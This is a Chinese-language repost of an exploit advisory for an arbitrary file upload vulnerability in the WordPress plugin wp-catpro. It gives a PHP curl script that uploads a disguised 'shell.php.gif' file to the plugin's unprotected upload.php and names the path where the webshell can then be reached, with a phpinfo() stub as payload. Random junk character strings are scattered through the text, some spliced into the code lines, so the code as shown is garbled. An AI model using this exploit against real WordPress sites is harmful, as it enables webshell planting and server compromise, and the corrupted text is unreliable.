WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
) J$ G& e; L8 E' _* N8 x% r, [' e
* \9 i9 ?: U8 M作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
7 \6 F; m* e9 I* U; s/ Y- U下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
. i4 w; V) I* J2 p1 k% J: R####
- f/ X& A: a& I, D8 R: ?
& U; W% G4 G/ g8 J#=> Exploit 信息:
------------------
7 d1 A; q0 C) G$ N6 Y# 攻击者可以上传 file/shell.php.gif
7 h. g  J! [7 b: H8 [  M# ("jpg", "gif", "png")  // Allowed file extensions
( B& D& k" U- U! N6 }# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

( ^8 H  U' W, w- ?" j#=> Exploit
-----------
<?php
7 c. _( {4 M) s. q0 T9 r
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
2 q  r) P0 q$ [# J, qcurl_setopt($ch, CURLOPT_POST, true);
0 o* W+ W& e9 T6 @4 I! ?curl_setopt($ch, CURLOPT_POSTFIELDS,
) Y3 c! X, D2 carray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
8 w2 ?1 M+ g; M! z4 _) ~  |curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
" {( ]9 Q4 p5 C0 \: [
. v& ^3 O/ i! ?! f& eprint "$postResult";

6 L/ d4 Z8 d1 c  r) \( _Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
( i- U7 v- }! |' P<?php
' G5 Q1 s% L1 l; qphpinfo();
?>